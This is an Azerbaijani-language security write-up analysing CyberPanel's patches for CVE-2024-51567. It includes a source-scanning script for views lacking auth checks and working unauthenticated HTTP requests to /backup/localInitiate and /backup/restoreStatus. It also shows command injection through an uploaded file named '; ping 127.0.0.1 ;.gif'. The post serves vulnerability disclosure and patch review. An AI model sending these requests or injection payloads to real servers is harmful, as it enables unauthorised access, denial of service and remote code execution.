Patch-ların pıçıldadığı boşluqlar: Cyberpanel-in bildirmədiyi boşluqların analizi
Mən hər zaman bütün zəiflikləri “giriş nəzarətinin keçilməsi” adlandıran insanlarla problemlər yaşayıram. Anlayın ki, saytda SQL inyeksiyaları olması və onların vasitəsilə istifadəçi əldə etməniz və ya özünüzü admin etməniz, hərçənd girişin keçilməsi və ya imtiyazların artırılması demək olsa da, bu, giriş nəzarəti ilə bağlı zəiflik deyil. Nəhayət, developer-in giriş yoxlamasını əlavə etməyi unutduğu bir nümunə əlimizə düşdü — CVE-2024-51567.
Həmçinin (təsadüfən), bu məhsulda əvvəlcə bildirilməyən zəiflikləri aradan qaldıran patch-lar var. Bu məqalə patch-ların tarixçəsini danışacaq, həmin zəiflikləri və onların nəyə gətirib çıxara biləcəyini göstərəcək.
CyberPanel — Django əsasında hazırlanmış müasir veb-interfeysli idarəetmə panelidir. O, FTP, SSH, SMTP və digər xidmətlər kimi serverlərin və xidmətlərin idarə edilməsini asanlaşdırmaq üçün nəzərdə tutulub.
Əvvəlki Tarixçə
2024-cü ilin 23 oktyabrında bu patch çıxdı, hansı ki, CVE-2024-51567-ə aiddir. Həmin ilin 1 noyabrında CISA işçilərindən biri tərəfindən şərh yazıldı ki, bu patch-a əmin olmaq istədi ki, o, tam deyil. Amma, təbii ki, o, qismən idi. Bundan sonra yeni bir patch hazırlandı, o da düzgün deyildi. Bu patch nə RCE-ni, nə də avtorizasiya keçilməsini aradan qaldırmırdı. Ondan əvvəlki patch-lar elə hazırlanmışdı ki, inkişaf etdiricinin AppSec-dən başı çıxmadığı aydın idi. Amma təəccüblüdür ki, bir kommitdə inkişaf etdirici hər iki zəifliyi düzəltdi.
Giriş Nəzarəti və Onun Pozulması
Giriş nəzarəti — istifadəçilərin yalnız müvafiq hüquqlara malik olduqları əməliyyatları yerinə yetirmələrini təmin edən təhlükəsizlik mexanizmidir.
Giriş Nəzarətinin Modelləri
- Məcburi Giriş Nəzarəti (MAC) — giriş administrator tərəfindən məlumatların təsnifatına əsasən təyin edilir.
- İxtiyari Giriş Nəzarəti (DAC) — istifadəçilər öz resurslarına girişi özləri idarə edir, başqalarına hüquqları verir və ya məhdudlaşdırır.
- Rollara Əsaslanan Giriş Nəzarəti (RBAC) — hüquqlar istifadəçilərə təyin olunan rollara əsasən müəyyən edilir.
- Atributlara Əsaslanan Giriş Nəzarəti (ABAC) — giriş qərarları istifadəçilərin atributlarına əsaslanaraq verilir.
Hücum Mexanizmləri
- Üfüqi İmtiyazların Artırılması: Eyni imtiyaz səviyyəsinə malik digər istifadəçilərin resurslarına giriş əldə etmək.
- Şaquli İmtiyazların Artırılması: İnzibati funksiyalara giriş üçün öz imtiyaz səviyyəsini artırmaq.
- Parametrlərin Manipulyasiyası: Məhdudiyyətləri keçmək və icazəsiz məlumatlara giriş üçün sorğu parametrlərini dəyişdirmək.
Auth Bypass
Django tətbiqləri adətən aşağıdakı kimi strukturlanır:
- urls.py: Tətbiqin marşrutlarını müəyyən edir (https://www.w3schools.com/django/django_urls.php)
- views.py: Sorğuları işləyən kontrollerləri ehtiva edir (https://www.w3schools.com/django/django_views.php)
- middleware: Sorğu və cavabları qlobal olaraq işləyən aralıq qatlar (https://docs.djangoproject.com/en/5.1/topics/http/middleware)
CyberPanel-dən hər hansı bir kod hissəsini götürək:
def fetchNormalJobs(request):
try:
userID = request.session['userID']
wm = BackupManager()
return wm.fetchNormalJobs(request, userID)
except KeyError:
return redirect(loadLoginPage)
Deməli, funksiyalar əvvəlcə userID
-ni yoxlayır. Giriş nəzarəti ilə bağlı potensial problemlər artıq 2 tipə bölünür. Birinci — userID
olmadıqda, ikinci — o, girişin yoxlanması üçün istifadə olunur, lakin cari istifadəçinin imtiyazlarını yoxlamır. Bizə bu kimi funksiyalar lazımdır:
def foo1(request):
try:
print("Dvij")
except KeyError:
return redirect('/')
def foo2(self):
try:
userID = request.session['userID']
# Burada admin yaratma funksiyası olmalıdır
except KeyError:
return redirect('/')
self
sinif metodlarının içində rast gəlinir və həmişə metodu çağıran konkret obyektə istinad edir. Təsəvvür edin ki, sizdə, məsələn, avtomobili təsvir edən bir sinif var. Avtomobilin metodunu çağırdığımız zaman self
bu metodun məhz həmin konkret avtomobilə aid olduğunu anlamağa kömək edir.
Digər tərəfdən, request
istifadəçidən serverə gələn sorğu haqqında bütün məlumatları ehtiva edən bir obyektdir. Məsələn, istifadəçi saytın səhifəsinə girəndə və formu dolduranda və ya URL-də parametrləri ötürəndə, request
tərtibatçıya bu məlumatlara çıxış imkanı verir.
Funksiyalarda giriş yoxlayan siniflər istifadə oluna bilər; onları funksiyalardan çıxarmaq lazımdır. Belə sinifə misal olaraq:
class MailServerManager(multi.Thread):
def __init__(self, request=None, function=None, extraArgs=None):
multi.Thread.__init__(self)
self.request = request
self.function = function
self.extraArgs = extraArgs
def run(self):
try:
if self.function == 'RunServerLevelEmailChecks':
self.RunServerLevelEmailChecks()
except BaseException as msg:
logging.CyberCPLogFileWriter.writeToFile(str(msg) + ' [MailServerManager.run]')
def loadEmailHome(self):
proc = httpProc(self.request, 'mailServer/index.html',
None, 'createEmail')
return proc.render()
def createEmailAccount(self):
userID = self.request.session['userID']
currentACL = ACLManager.loadedACL(userID)
if not os.path.exists('/home/cyberpanel/postfix'):
proc = httpProc(self.request, 'mailServer/createEmailAccount.html',
{"status": 0}, 'createEmail')
return proc.render()
Avtorizasiyası olmayan funksiyaların içindəki siniflər azdır, ona görə də biz həmin siniflərin funksiyalarını avtorizasiya problemlərinə görə rahatlıqla yoxlaya bilərik. Aşağıdakı skript sinifsiz funksiyaları yoxlayacaq və tapacaq ki, onlar sorğunu birbaşa qəbul edir (userID
yoxdur, request
qəbul edir):
import os
import re
def find_matching_functions(directory):
function_pattern = re.compile(r'^def\s+(\w+)\(request\)', re.MULTILINE)
for root, _, files in os.walk(directory):
for file in files:
if file.endswith('.py'):
file_path = os.path.join(root, file)
with open(file_path, 'r') as f:
content = f.read()
matches = function_pattern.finditer(content)
for match in matches:
function_start = match.start()
function_name = match.group(1)
function_body = extract_function_body(content, function_start)
if ('userID' not in function_body and
'MailServerManager' not in function_body and
'adminUser' not in function_body and
"data['password']" not in function_body and
'_get_user_acl' not in function_body and
'httpProc' not in function_body):
print(f"Function '{function_name}' in file '{file_path}' does not contain required authentication checks.")
print("-" * 40)
def extract_function_body(content, start_index):
lines = content[start_index:].splitlines()
function_lines = []
indentation_level = None
for line in lines[1:]:
stripped_line = line.strip()
if stripped_line == "":
continue
if indentation_level is None and (line.startswith(' ') or line.startswith('\t')):
indentation_level = len(line) - len(line.lstrip())
current_indentation = len(line) - len(line.lstrip())
if indentation_level is not None and current_indentation >= indentation_level:
function_lines.append(line)
else:
break
return "\n".join(function_lines)
directory = '/usr/local/CyberCP/cyberpanel'
find_matching_functions(directory)
Bu komandadan istifadə edə bilərsiniz:
python3 1.py | grep -v 'lib\|---' | sort -u | uniq
Cavab:
Function 'CageFS' in file '/usr/local/CyberCP/cyberpanel/CLManager/views.py'
Function 'changePassword' in file '/usr/local/CyberCP/cyberpanel/ftp/views.py'
Function 'changeStatus' in file '/usr/local/CyberCP/cyberpanel/firewall/views.py'
...
Firewall-ı aktivləşdirmək/söndürmək imkanı verən maraqlı changeStatus
funksiyasından başlaya bilərik. Bu funksiyada FirewallManager
sinifinin changeStatus
funksiyası istifadə olunur:
# Funksiya userID olmadan
def changeStatus(request):
try:
result = pluginManager.preChangeStatus(request)
if result != 200:
return result
fm = FirewallManager(request)
coreResult = fm.changeStatus()
FirewallManager sinifi
def changeStatus(self):
try:
userID = self.request.session['userID']
currentACL = ACLManager.loadedACL(userID)
FirewallManager sinifindəki changeStatus funksiyası-nda userID yoxlanışı var deyə, bu funksiya giriş nəzarətini yan keçmir.
Yuxarıdakı kod siniflərin necə istifadə olunduğuna nümunə olaraq gətirilib.
localInitiate
Siyahımızdakı sinif funksiyalarını növbə ilə yoxlamaq daha yaxşıdır, buraxmamaq lazımdır. Bunun bir səbəbi bu funksiyadır:
def localInitiate(request):
try:
data = json.loads(request.body)
randomFile = data['randomFile']
if os.path.exists(randomFile):
wm = BackupManager()
return wm.submitBackupCreation(1, json.loads(request.body))
except BaseException as msg:
logging.writeToFile(str(msg))
Burada BackupManager
sinifinin submitBackupCreation
funksiyası istifadə olunur, ona 1
və data
göndərilir.
def submitBackupCreation(self, userID=None, data=None):
try:
currentACL = ACLManager.loadedACL(userID)
admin = Administrator.objects.get(pk=userID)
backupDomain = data['websiteToBeBacked']
website = Websites.objects.get(domain=backupDomain)
Əgər submitBackupCreation
funksiyasına baxsaq, görərik ki, o, userID
-ni statik şəkildə qəbul edir və localInitiate
funksiyası heç bir avtorizasiya olmadan ona administrator imtiyazları verir.
İlk növbədə randomFile
mövcudluğunu yoxlayır; biz randomFile
kimi /etc
qoya bilərik. Sonra websiteToBeBacked
saytının mövcudluğunu yoxlayır. Test üçün məndə test.loc
saytı qurulub.
POST /backup/localInitiate
{"randomFile":"/etc","websiteToBeBacked":"test.loc"}
Cavab:
{"status": 1, "metaStatus": 1, "error_message": "None", "tempStorage": "/home/test.loc/backup/backup-test.loc-11.10.2024_13-18-24"}
Burada iki zəiflik var. Birincisi — serverdə istənilən faylın mövcudluğunu yoxlamaq, ikincisi — çoxlu ehtiyat nüsxələrin yaradılması resursların tükənməsinə (yaddaş) / DoS-a gətirib çıxara bilər.
restoreStatus
restoreStatus
funksiyası əvvəlki ehtiyat nüsxəni bərpa etmək üçün istifadə olunur.
def restoreStatus(request):
try:
wm = BackupManager()
return wm.restoreStatus(json.loads(request.body))
except KeyError:
return redirect(loadLoginPage)
Funksiya özü:
def restoreStatus(self, data=None):
try:
backupFile = data['backupFile'].strip(".tar.gz")
path = os.path.join("/home", "backup", data['backupFile'])
if os.path.exists(path):
path = os.path.join("/home", "backup", backupFile)
elif os.path.exists(data['backupFile']):
path = data['backupFile'].strip(".tar.gz")
else:
dir = data['dir']
path = "/home/backup/transfer-" + str(dir) + "/" + backupFile
if os.path.exists(path):
try:
execPath = "sudo cat " + path + "/status"
Burada da fayl/direktoriyanın mövcudluğunu yoxlamağa imkan verən zəiflik var; əgər o mövcuddursa, status
prefiksi əlavə olunur və skript faylı oxumağa çalışır.
POST /backup/restoreStatus HTTP/1.1
{"backupFile":"/home","dir":""}
Cavab:
{"restoreStatus": 1, "error_message": "None", "status": "cat: /home/status: No such file or directory\n", "abort": 0, "running": "Running.."}
Bu kodda həmçinin komanda inyeksiyası var, amma onun işləməsi üçün panelə adi istifadəçi kimi girişiniz olmalıdır və ya fayl/direktoriyanı sayta yükləmə imkanınız olmalıdır.
RCE
Əgər faylın yükləndiyi qovluğa hər kəs üçün icazələr verilərsə, RCE mümkündür. O zaman ; ping 127.0.0.1 ;.gif
adlı fayl yükləyə bilərsiniz, sonra restoreStatus
funksiyasından istifadə edərək avtorizasiya olmadan RCE əldə edə bilərsiniz.
Zəif konfiqurasiya:
Yalnız .gif
faylların yüklənməsinə icazə verən kod nümunəsi:
upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Check if a file was uploaded
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$file = $_FILES['file'];
// Get file details
$fileName = $file['name'];
$fileTmpPath = $file['tmp_name'];
$fileSize = $file['size'];
$fileType = mime_content_type($fileTmpPath);
$fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
// Define valid file extension and MIME type
$validExtension = 'gif';
$validMimeType = 'image/gif';
// Check file extension and MIME type
if ($fileExtension === $validExtension && $fileType === $validMimeType) {
// Additional validation to check GIF content
$imageInfo = getimagesize($fileTmpPath);
if ($imageInfo && $imageInfo['mime'] === $validMimeType) {
// Move the file to the uploads directory
$uploadsDir = 'uploads/';
if (!is_dir($uploadsDir)) {
mkdir($uploadsDir, 0755, true);
}
$newFilePath = $uploadsDir . basename($fileName);
if (move_uploaded_file($fileTmpPath, $newFilePath)) {
echo "File uploaded successfully: " . $newFilePath;
} else {
echo "Failed to move the uploaded file.";
}
} else {
echo "The file is not a valid GIF.";
}
} else {
echo "Invalid file type. Only GIFs are allowed.";
}
} else {
echo "No file uploaded or an error occurred.";
}
}
?>
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>GIF Upload</title>
</head>
<body>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<label for="file">Choose a GIF file:</label>
<input type="file" name="file" id="file" accept="image/gif" required>
<button type="submit">Upload</button>
</form>
</body>
</html>
PUT /backup/restoreStatus
{"backupFile":"/home/new.loc/public_html/uploads/; ping 127.0.0.1 ;.gif","dir":""}
Patch
Hal-hazırda quraşdırılmış patch işləyir, amma 2.3.8-ə qədər olan bütün versiyalar CVE-2024-51567 və göstərdiyim RCE-yə qarşı zəifdir. Həmçinin əvvəlki versiyalarda adi istifadəçi kimi də RCE əldə etmək mümkündür.
Sorğu yalnız POST olduqda məlumatları gəbul etmək əvəzinə, o, əgər JSON-dursa, gəbul edir, əks halda onu POST kimi gəbul edir. Bunun keçmə yolu varmı? Bəli. Keçmə yolu ilə RCE əldə etmək mümkündürmü? İronik olaraq, yox. (RCE olan bütün funksiyaları yoxlamadım, amma burada təsvir olunanlarda bu imkanı görmədim)
if bool(request.body):
try:
if os.path.exists(ProcessUtilities.debugPath):
logging.writeToFile('Request body detected.. scanning')
logging.writeToFile(str(request.body))
try:
data = json.loads(request.body)
except:
data = request.POST
Avtorizasiya keçilməsinə qarşı düzəliş belədir:
if pathActual == "/backup/localInitiate" or pathActual == '/' or pathActual == '/verifyLogin' or pathActual == '/logout' or pathActual.startswith('/api')\
or pathActual.endswith('/webhook') or pathActual.startswith('/cloudAPI') or pathActual.endswith('/gitNotify'):
Düşünürəm ki, hər şey aydındır, çünki onlar pathActual
(hansı ki, build_absolute_uri
istifadə edir) istifadə ediblər, ../
kimi payloadlar variant deyil. Keçmə yolu varmı? Mən görmürəm. Problem varmı? Görürəm və o mövcuddur, amma bu, mənə və ya sizə heç nə verməyəcək.
Nəticə
Bu “gözə görünməz” zəiflikləri görmək üçün patch-lara diqqət yetirmək lazımdır. Həmçinin, məhsulu qlobal olaraq məşhur olan bu şəxs təhlükəsizlik mütəxəssislərini işə götürməlidir ki, heç olmasa kimsə kodu oxusun. Şübhəsiz ki, bir neçə RCE-dən sonra onlar bir çox müştərini itirəcəklər/itiriblər.
Peace Out Hombres'!